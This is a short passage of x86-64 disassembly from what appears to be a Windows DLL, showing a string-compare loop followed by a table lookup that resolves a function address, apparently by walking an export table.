movzx r8d, byte [rax + r11]
sub ecx, r8d
jne 0x18000b450
inc rax
test r8d, r8d
jne 0x18000b43b
test ecx, ecx
je 0x18000b475
inc edx
add r10, 4
cmp edx, esi
jb 0x18000b42f
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
movzx ecx, word [rdi + rdx*2]
mov eax, dword [rbx + rcx*4]
add rax, r9
jmp 0x18000b460